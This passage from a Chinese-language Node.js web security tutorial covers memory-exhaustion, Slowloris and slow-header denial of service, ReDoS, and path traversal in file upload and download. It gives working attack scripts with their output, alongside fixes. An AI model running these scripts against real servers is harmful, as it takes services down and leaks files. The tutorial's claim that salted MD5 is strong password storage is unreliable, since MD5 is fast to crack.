    req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
    })
    req.on('end',function(){
      body = Buffer.concat(body);
      res.writeHead(200, {'Content-Type': 'text/plain'});
      //db.save(body) 這裡是資料庫入庫操作
      res.end('ok');
    })  
  }
}).listen(8124);

  我們使用buffer陣列,儲存使用者傳送過來的資料,最後通過Buffer.concat將所有buffer連線起來,並插入到資料庫。

  注意這部分程式碼:

req.on('data',function(chunk){
      body.push(chunk);//獲取buffer
})

  不能用下面簡單的字串拼接來代替,可能我收到的內容不是utf-8格式,另外從拼接效能上來說兩者也不是一個數量級的,我們看如下測試:

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
    s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
    list.push(buf);
    len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

  這個測試指令碼分別使用兩種不通的方式將buf連線10W次,並返回字串,我們看下執行結果:

string += buf: 66ms
buf concat: 33ms

  我們看到,執行效能相差了整整一倍,所以當我們在處理這類情況的資料時,建議使用Buffer.concat來做。

  現在開始構建一個超大的具有700mb的buffer,然後把它儲存成檔案:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
  if(err) return console.log(err);
  console.log('ok')
})

  我們構建攻擊指令碼,把這個超大的檔案傳送出去,如果接收這個POST的Node.js伺服器是記憶體只有512mb的小型雲主機,那麼當攻擊者上傳這個超大檔案後,雲主機記憶體會消耗殆盡。

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read());
    });
});
fs.createReadStream('./large_file').pipe(request);

  我們看一下Node.js伺服器在受攻擊前後記憶體的使用情況:

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

  那麼應該如何解決這類惡意攻擊呢?我們只需要將Node.js伺服器程式碼修改如下,就可以避免使用者上傳過大的資料了:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳程式碼
  var body = [];
  var len = 0;//定義變數用來記錄使用者上傳檔案大小
    req.on('data',function(chunk){
        body.push(chunk);//獲取buffer
        len += chunk.length;
        if(len>=1024*1024){//每次收到一個buffer塊都要比較一下是否超過1mb
            res.end('too large');//直接響應錯誤
        }
    })
    req.on('end',function(){
       body = Buffer.concat(body,len);
       res.writeHead(200, {'Content-Type': 'text/plain'});
       //db.save(body) 這裡資料庫入庫操作
       res.end('ok');
    })  
  }
}).listen(8124);

  通過上述程式碼的調整,我們每次收到一個buffer塊都會去比較一下大小,如果資料超大則立刻截斷上傳,保證惡意使用者無法上傳超大檔案消耗伺服器實體記憶體。

  Slowlori攻擊

  POST慢速DoS攻擊是在2010年OWASP大會上被披露的,這種攻擊方式針對配置較低的伺服器具有很強的威力,往往幾臺攻擊客戶端就可以輕鬆擊垮一臺web應用伺服器。

  攻擊者先向web應用伺服器發起一個正常的POST請求,設定一個在web伺服器限定範圍內並且比較大的Content-Length,然後以非常慢的速度傳送資料,比如30秒左右傳送一次10byte的資料給伺服器,保持這個連線不釋放。因為客戶端一直在向伺服器發包,所以伺服器也不會認為連線超時,這樣伺服器的一個tcp連線就一直被這樣一個慢速的POST佔用,極大的浪費了伺服器資源。

  這個攻擊可以針對任意一個web伺服器進行,所以受眾面非常廣;而且此類攻擊手段非常簡單和廉價,一般一臺普通的個人計算機就可以提供2-3千個tcp連線,所以只要同時有幾臺攻擊機器,web伺服器可能立刻就會因為連線數耗盡而拒絕服務。

  下面是一個Node.js版本的Slowlori攻擊惡意指令碼:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST',
  headers:{
  "Content-Length":1024*1024
  }
};
var max_conn = 1000;
http.globalAgent.maxSockets = max_conn;//設定最大請求連線數
var reqArray = [];
var buf = new Buffer(1024);
buf.fill('h');
while(max_conn--){
  var req = http.request(options, function(res) {
      res.setEncoding('utf8');
      res.on('readable', function () {
        console.log(res.read());
      });
  });
  reqArray.push(req);
}
setInterval(function(){//定時隔5秒傳送一次
  reqArray.forEach(function(v){
    v.write(buf);
  })
},1000*5);

  由於Node.js的天生單執行緒優勢,我們可以只寫一個定時器,而不用像其他語言建立1000個執行緒,每個執行緒裡面一個定時器在那裡跑。有網友經過測試,發現慢POST攻擊對Apache的效果十分明顯,Apache的maxClients幾乎在瞬間被鎖住,客戶端瀏覽器在攻擊進行期間甚至無法訪問測試頁面。

  想要抵擋這類慢POST攻擊,我們可以在Node.js應用前面放置一個靠譜的web伺服器,比如Nginx,合理的配置可以有效的減輕這類攻擊帶來的影響。

  Http Header攻擊

  一般web伺服器都會設定HTTP請求頭的接收時長,是指客戶端在指定的時長內必須把HTTP的head傳送完畢。如果web伺服器在這方面沒有做限制,我們也可以用同樣的原理慢速的傳送head資料包,造成伺服器連線的浪費,下面是攻擊指令碼程式碼:

var net = require('net');
var maxConn = 1000;
var head_str = 'GET / HTTP/1.1\r\nHost: 192.168.17.55\r\n'
var clientArray = [];
while(maxConn--){
  var client = net.connect({port: 8124, host:'192.168.17.55'});
    client.write(head_str);
    client.on('error',function(e){
       console.log(e)
    })
    client.on('end',function(){
       console.log('end')
    })
    clientArray.push(client);
}
setInterval(function(){//定時隔5秒傳送一次
  clientArray.forEach(function(v){
      v.write('xhead: gap\r\n');
  })
},1000*5);

  這裡定義了一個永遠發不完的請求頭,定時每5秒鐘傳送一個,類似慢POST攻擊,我們慢慢悠悠的傳送HTTP請求頭,當連線數耗盡,伺服器也就拒絕響應服務了。

  隨著我們連線數增加,最終Node.js伺服器可能會因為開啟檔案數過多而崩潰:

/usr/local/nodejs/test/http_server.js:10
        console.log(process.memoryUsage());
                            ^
Error: EMFILE, too many open files
    at null.<anonymous> (/usr/local/nodejs/test/http_server.js:10:22)
    at wrapper [as _onTimeout] (timers.js:252:14)
    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)

  Node.js對使用者HTTP的請求響應頭做了大小限制,最大不能超過50KB,所以我無法向HTTP請求頭裡傳送大量的資料從而造成伺服器記憶體佔用,如果web伺服器沒有做這個限制,我們可以利用POST傳送大資料那樣,將一個超大的HTTP頭髮送給伺服器,惡意消耗伺服器的記憶體。

  正規表示式的DoS

  日常使用判斷使用者輸入是否合法的正規表示式,如果書寫不夠規範也可能成為惡意使用者攻擊的物件。

  正規表示式引擎NFA具有回溯性,回溯的一個重要負面影響是,雖然正規表示式可以相當快速地計算確定匹配(輸入字串與給定正規表示式匹配),但確認否定匹配(輸入字串與正規表示式不匹配)所需的時間會稍長。實際上,引擎必須確定輸入字串中沒有任何可能的“路徑”與正規表示式匹配才會認為否定匹配,這意味著引擎必須對所有路徑進行測試。

  比如,我們使用下面的正規表示式來判斷字串是不是全部為數字:

^\(d+)$

  先簡單解釋一下這個正規表示式,^和$分別表示字串的開頭和結尾嚴格匹配,\d代表數字字元,+表示有一個或多個字元匹配,上面這個正規表示式表示必須是一個或多個數字開頭並且以數字結尾的純數字字串。

  如果待匹配字串全部為純數字,那這是一個相當簡單的匹配過程,下面我們使用字串123456X作為待判斷字串來說明上述正規表示式的詳細匹配過程。

  字串123456X很明顯不是匹配項,因為X不是數字字元。但上述正規表示式必須計算多少個路徑才能得出此結論呢?從此字串第一位開始計算,發現字元1是一個有效的數字字元,與此正規表示式匹配。然後它會移動到字元2,該字元也匹配。在此時,正規表示式與字串12匹配。然後嘗試3(匹配123),依次類推,一直到到達X,得出結論該字元不匹配。

  但是,由於正規表示式引擎的回溯性,它不會在此點上停止,而是從其當前的匹配123456返回到上一個已知的匹配12345,從那裡再次嘗試匹配。

  由於5後面的下一個字元不是此字串的結尾,因此引擎認為不是匹配項,接著它會返回到其上一個已知的匹配1234,再次進行嘗試匹配。按這種方式進行所有匹配,直到此引擎返回到其第一個字元1,發現1後面的字元不是字串的結尾,此時,匹配停止。

  總的說來,此引擎計算了六個路徑:123456、12345、1234、123、12 和1。如果此輸入字串再增加一個字元,則引擎會多計算一個路徑。因此,此正規表示式是相對於字串長度的線性演算法,不存在導致DoS的風險。

  這類計算一般速度非常迅速,可以輕鬆拆分長度超過1萬的字串。但是,如果我們對此正規表示式進行細微的修改,情況可能大不相同:

^(\d+)+$

  分組表示式(\d+)後面有額外的+字元,表明此正規表示式引擎可匹配一個或多個的匹配組(\d+)。

  我們還是輸入123456X字串作為待匹配字串,在匹配過程中,計算到達123456之後回溯到12345,此時引擎不僅會檢查到5後面的下一個字元不是此字串的結尾,而且還會將下一個字元6作為新的匹配組,並從那裡重新開始檢查,一旦此匹配失敗,它會返回到1234,先將56作為單獨的匹配組進行匹配,然後將5和6分別作為單獨的匹配組進行計算,這樣直到返回1為止。

  這樣攻擊者只要提供相對較短的輸入字串大約30 個字元左右,就可以讓匹配所需時間大大增加,下面是相關測試程式碼:

var regx = /^(\d+)$/;
var regx2 = /^(\d+)+$/;
var str = '1234567890123456789012345X';
console.time('^\(d+)$');
regx.test(str);
console.timeEnd('^\(d+)$');
console.time('^(\d+)+$');
regx2.test(str);
console.timeEnd('^(\d+)+$');

  我們用正規表示式^(\d+)$和^(\d+)+$分別對一個長度為26位的字串進行匹配操作,執行結果如下:

^(d+)$: 0ms
^(d+)+$: 866ms

  如果我們繼續增加待檢測字串的長度,那麼匹配時間將成倍的延長,從而因為伺服器cpu頻繁計算而無暇處理其他任務,造成拒絕服務。下面是一些有問題的正規表示式示例:

^(\d+)*$ 
^(\d*)*$ 
^(\d+|\s+)*$

  當正則漏洞隱藏於一些比較長的正規表示式中時,可能更加難以發現:

^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$

  上述正規表示式是在正規表示式庫網站(regexlib.com)上找到的,我們可以通過如下程式碼進行簡單的測試:

var regx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)
+[a-zA-Z]{2,9})$/;
var str1 = '123@1234567890.com';
var str2 = '123@163';//正常使用者忘記輸入.com了
var str3 = '123@1234567890123456789012345..com';//惡意字串
console.time('str1');
regx.test(str1);
console.timeEnd('str1');
console.time('str2');
regx.test(str2);
console.timeEnd('str2');
console.time('str3');
regx.test(str3);
console.timeEnd('str3');

  我們執行上述程式碼,結果如下:

str1: 0ms
str2: 0ms
str3: 1909ms

  輸入正確、正常錯誤和惡意程式碼的執行結果區別很大,如果我們惡意程式碼不斷加長,最終將導致伺服器拒絕服務,上述這個正規表示式的漏洞之處就在於它企圖通過使用對分組後再進行+符號的匹配,它原來的目的是為驗證多級域名下的合法郵箱地址,例如:abc@aaa.bbb.ccc.gmail.com,沒想到卻成為了漏洞。

  正規表示式的DoS不僅僅侷限於Node.js語言,使用任何一門語言進行開發都需要面臨這個問題,當然在使用正則來編寫express框架的路由時尤其需要注意,一個不好的正則路由匹配可能會被惡意使用者DoS攻擊,總之在使用正規表示式時我們應該多留一個心眼,仔細檢查它們是否足夠強壯,避免被DoS攻擊。

 檔案路徑漏洞

  檔案路徑漏洞也是非常致命的,常常伴隨著被惡意使用者掛木馬或者程式碼洩漏,由於Node.js提供的HTTP模組非常的底層,所以很多工作需要開發者自己來完成,可能因為業務比較簡單,不去使用成熟的框架,在寫程式碼時稍不注意就會帶來安全隱患。

  本章將會通過製作一個網路分享的網站,說明檔案路徑攻擊的兩種方式。

  上傳檔案漏洞

  檔案上傳功能在網站上是很常見的,現在假設我們提供一個網盤分享服務,使用者可以上傳待分享的檔案,所有使用者上傳的檔案都存放在/file資料夾下。其他使用者通過瀏覽器訪問'/list'看到大家分享的檔案。

  首先,我們要啟動一個HTTP伺服器,為使用者訪問根目錄/提供一個可以上傳檔案的靜態頁面。

var http = require('http');
var fs = require('fs');
var upLoadPage = fs.readFileSync(__dirname+'/upload.html');
//讀取頁面到記憶體,不用每次請求都去做i/o
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});//響應頭設定html
  if(req.url === '/' && req.method === 'GET'){//請求根目錄,獲取上傳檔案頁面
        return res.end(upLoadPage);
  }
  if(req.url === '/list' && req.method === 'GET'){//列表展現使用者上傳的檔案
        fs.readdir(__dirname+'/file', function(err,array){
            if(err) return res.end('err');
            var htmlStr='';
            array.forEach(function(v){
                htmlStr += '<a href="/file/'+v+'" target="_blank">'+v+'</a> <br/><br/>'
            });
            res.end(htmlStr);
        })
        return;
  }
  if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳程式碼,稍後完善 
        return;
  }
  if(req.url === '/file' && req.method === 'GET'){//可以直接下載使用者分享的檔案,稍後完善 
        return;
  }
  res.end('Hello World\n');
}).listen(8124);

  我們啟動了一個web伺服器監聽8124埠,然後寫了4個路由配置,分別是:

  (1)輸出upload.html靜態頁面;

  (2)展現所有使用者上傳檔案列表的頁面;

  (3)接受使用者上傳檔案功能;

  (4)單獨輸出某一個分享檔案詳細內容的功能,這裡出於簡單我們只分享文字。

  upload.html檔案程式碼如下,它是一個具有的form表單上傳檔案功能的靜態頁面:

<!DOCTYPE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>upload</title>
</head>
<body>
<h1>網路分享平臺</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
    <p>選擇檔案:<p>
    <p><input type="file" name="myfile" /></p>
    <button type="submit">完成提交</button>
</form>
</body>
</html>

  接下來我們就需要完成整個分享功能的核心部分,接收使用者上傳的檔案然後儲存在/file資料夾下,這裡我們暫時不考慮使用者上傳檔案重名的問題。我們利用formidable包來處理檔案上傳的協議細節,所以我們先執行npm install formidable命令安裝它,下面是處理使用者檔案上傳的相關程式碼:

...

var formidable = require('formidable');

http.createServer(function (req, res) {

  ...

    if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳程式碼
        var form = new formidable.IncomingForm();
        form.parse(req, function(err, fields, files) {
          res.writeHead(200, {'content-type': 'text/plain'});
          var filePath = files.myfile.path;//獲得臨時檔案存放地址
          var fileName = files.myfile.name;//原始檔名
          var savePath = __dirname+'/file/';//檔案儲存路徑
          fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));
          //將檔案拷貝到file目錄下
          fs.unlink(filePath);//刪除臨時檔案
          res.end('success');
        });
        return;
  }

 ...

}).listen(8124);

  通過formidable包接收使用者上傳請求之後,我們可以獲取到files物件,它包括了name檔名,path臨時檔案路徑等屬性,列印如下:

{ myfile:
   { domain: null,
     size: 4,
     path: 'C:\\Users\\snoopy\\AppData\\Local\\Temp\\a45cc822df0553a9080cb3bfa1645fd7',
     name: '111.txt',
     type: 'text/plain',
     hash: null,
     lastModifiedDate: null,
     }
 }

  我們完善了/upload路徑下的程式碼,利用formidable包很容易就獲取了使用者上傳的檔案,然後我們把它拷貝到/file資料夾下,並重新命名它,最後刪除臨時檔案。

  我們開啟瀏覽器,訪問127.0.0.1:8124上傳檔案,然後訪問127.0.0.1:8124/list,通過下面的圖片可以看到檔案已經上傳成功了。

  可能細心的讀者已經發現這個上傳功能似乎存在問題,現在我們開始構建攻擊指令碼,打算將hack.txt木馬掛載到網站的根目錄中,因為我們規定使用者上傳的檔案必須在/file資料夾下,所以如果我們將檔案上傳至網站根目錄,可以算是一次成功的掛馬攻擊了。

  我們將模擬瀏覽器傳送一個上傳檔案的請求,構建惡意指令碼如下:

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/upload',
  method: 'POST'
};
var request = http.request(options, function(res) {});
var boundaryKey = Math.random().toString(16); //隨機分割字串
request.setHeader('Content-Type', 'multipart/form-data; boundary="'+boundaryKey+'"');
//設定請求頭,這裡需要設定上面生成的分割符
request.write( 
  '--' + boundaryKey + '\r\n'
  //在這邊輸入你的mime檔案型別
  + 'Content-Type: application/octet-stream\r\n' 
  //"name"input框的name
  //"filename"檔名稱,這裡就是上傳檔案漏洞的攻擊點
  + 'Content-Disposition: form-data; name="myfile"; filename="../hack.txt"\r\n'
 //注入惡意檔名
  + 'Content-Transfer-Encoding: binary\r\n\r\n' 
);
fs.createReadStream('./222.txt', { bufferSize: 4 * 1024 })
  .on('end', function() {
    //加入最後的分隔符
    request.end('\r\n--' + boundaryKey + '--'); 
  }).pipe(request) //管道傳送檔案內容

  我們在啟動惡意指令碼之前,使用dir命令檢視目前網站根目錄下的檔案列表:

2013/11/26  15:04    <DIR>          .
2013/11/26  15:04    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

  app.js是我們之前的伺服器檔案,hack資料夾存放的就是惡意指令碼,下面是執行惡意指令碼之後的檔案列表

2013/11/26  15:09    <DIR>          .
2013/11/26  15:09    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  15:09                12 hack.txt
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

  我們看到多了一個hack.txt檔案,這說明我們成功的向網站根目錄上傳了一份惡意檔案,如果我們直接覆蓋upload.html檔案,甚至可以修改掉網站的首頁,所以此類漏洞危害非常之大。我們關注受攻擊點的程式碼:

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));

  我們草率的把檔名和儲存路徑直接拼接,這是非常有風險的,幸好Node.js提供給我們一個很好的函式來過濾掉此類漏洞。我們把程式碼修改成下面那樣,惡意指令碼就無法直接向網站根目錄上傳檔案了。

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath + 
path.basename(fileName)));

  通過path.basename我們就能直接獲取檔名,這樣惡意指令碼就無法再利用相對路徑../進行攻擊。

  檔案瀏覽漏洞

  使用者上傳分享完檔案,我們可以通過訪問/list來檢視所有檔案的分享列表,通過點選的<a>標籤檢視此檔案的詳細內容,下面我們把顯示檔案詳細內容的程式碼補上。

...

http.createServer(function (req, res) {

  ...

  if(req.url.indexOf('/file') === 0 && req.method === 'GET'){//可以直接下載使用者分享的檔案
        var filePath = __dirname + req.url; //根據使用者請求的路徑查詢檔案
        fs.exists(filePath, function(exists){
            if(!exists) return res.end('not found file'); //如果沒有找到檔案,則返回錯誤
            fs.createReadStream(filePath).pipe(res); //否則返回檔案內容
        })
        return;
    }

 ...

}).listen(8124);

  聰明的讀者應該已經看出其中程式碼的問題了,如果我們構建惡意訪問地址:

http://127.0.0.1:8124/file/../app.js

  這樣是不是就將我們啟動伺服器的指令碼檔案app.js直接輸出給客戶端了呢?下面是惡意指令碼程式碼:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/file/../app.js',
  method: 'GET'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read())
    });
});
request.end();

  在Node.js的0.10.x版本新增了stream的``readable事件,然後可直接呼叫res.read()讀取內容,無須像以前那樣先監聽date事件進行拼接,再監聽end`事件獲取內容了。

  惡意程式碼請求了/file/../app.js路徑,把我們整個app.js檔案列印了出來。造成我們惡意指令碼攻擊成功必然是如下程式碼:

var filePath = __dirname + req.url;

  相信有了之前的解決方案,這邊讀者自行也可以輕鬆搞定。

 加密安全

  我們在做web開發時會用到各種各樣的加密解密,傳統的加解密大致可以分為三種:

  (1)對稱加密,使用單金鑰加密的演算法,即加密方和解密方都使用相同的加密演算法和金鑰,所以金鑰的儲存非常關鍵,因為演算法是公開的,而金鑰是保密的,常見的對稱加密演算法有:AES、DES等。

  (2)非對稱加密,使用不同的金鑰來進行加解密,金鑰被分為公鑰和私鑰,用私鑰加密的資料必須使用公鑰來解密,同樣用公鑰加密的資料必須用對應的私鑰來解密,常見的非對稱加密演算法有:RSA等。

  (3)不可逆加密,利用雜湊演算法使資料加密之後無法解密回原資料,這樣的雜湊演算法常用的有:md5、SHA-1等。

  我們在開發過程中可以使用Node.js的Crypto模組來進行相關的操作。

  md5儲存密碼

  在開發網站使用者系統的時候,我們都會面臨使用者的密碼如何儲存的問題,明文儲存當然是不行的,之前有很多歷史教訓告訴我們,明文儲存,一旦資料庫被攻破,使用者資料將會全部展現給攻擊者,給我們帶來巨大的損失。

  目前比較流行的做法是對使用者註冊時的密碼進行md5加密儲存,下次使用者登入的時候,用同樣的演算法生成md5字串和資料庫原有的md5字串進行比對,從而判斷密碼正確與否。

  這樣做的好處不言而喻,一旦資料洩漏,惡意使用者也是無法直接獲取使用者密碼的,因為md5加密是不可逆的。

  但是md5加密有一個特點,同樣的一個字串經過md5雜湊計算之後總是會生成相同的加密字串,所以攻擊者可以利用強大的md5彩虹表來逆推加密前的原始字串,下面我們來看個例子:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

  上面程式碼我們對字串nodejs進行了md5加密儲存,列印的加密字串如下:

671a0da0ba061c98de801409dbc57d7e

  我們通過谷歌搜尋md5解密關鍵字,進入一個線上md5破解的網站,輸入剛才的加密字串進行破解:

  我們發現雖然md5加密不可逆,但還是被破解出來了。於是我們改良演算法,為所有使用者密碼儲存加上統一的salt值,而不是直接的進行md5加密:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .update('abc') //這邊加入固定的salt值用來加密
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

  這次我們對使用者密碼增加salt值abc進行加密,我們還是把生成的加密字串放入破解網站進行破解:

  網站提示我們要交費才能檢視結果,但是密碼還是被它破解出來了,看來一些統一的簡單的salt值是無法滿足加密需求的。

  所以比較好的儲存使用者密碼的方式應該是在user表增加一個salt欄位,每次使用者註冊都要去隨機生成一個位數夠長的salt字串,然後再根據這個salt值加密密碼,相關流程程式碼如下:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var gap = '-';
var password = 'nodejs';
var salt = md5(Date.now().toString());
var md5Password = md5(salt+gap+password);
console.log(md5Password);
//0199c7e47cb9b55adac21ebc697673f4

  這樣我們生成的加密密碼是足夠強壯的,就算攻擊者拿到了我們資料庫,由於他沒有我們的程式碼,不知道我們的加密規則所以也就很難破解使用者的真實密碼,而且每個使用者的密碼加密salt值都不同,對破解也帶來不少難度。

 小結

  web安全是我們必須關注且無法逃避的話題,本章介紹了各種常見的web攻擊技巧和應對方案,特別是針對Node.js這門新興起的語言,安全更為重要。我們建議每一位站長在把Node.js部署到生產環境時,將Node.js應用放置在Nginx等web伺服器後方,畢竟Node.js還很年輕,需要有一位老大哥將還處於兒童期的Node.js保護好,而不是讓它直接面臨網際網路的各種威脅。

  對於例如SQL,XSS等注入式攻擊,我們一定要對使用者輸入的內容進行嚴格的過濾和審查,這樣可以避免絕大多數的注入式攻擊方式,對於DoS攻擊我們就需要使用各種工具和配置來減輕危害,另外容易被DDoS(Distributed Denial of Service 分散式拒絕服務)攻擊的還有HTTPS服務,在一般不配備SSL加速卡的伺服器上,HTTP和HTTPS處理效能上要相差幾十甚至上百倍。

  最後我們必須做好嚴密的系統監控,一旦發現系統有異常情況,必須馬上能做出合理的響應措施。

 參考文獻

相關文章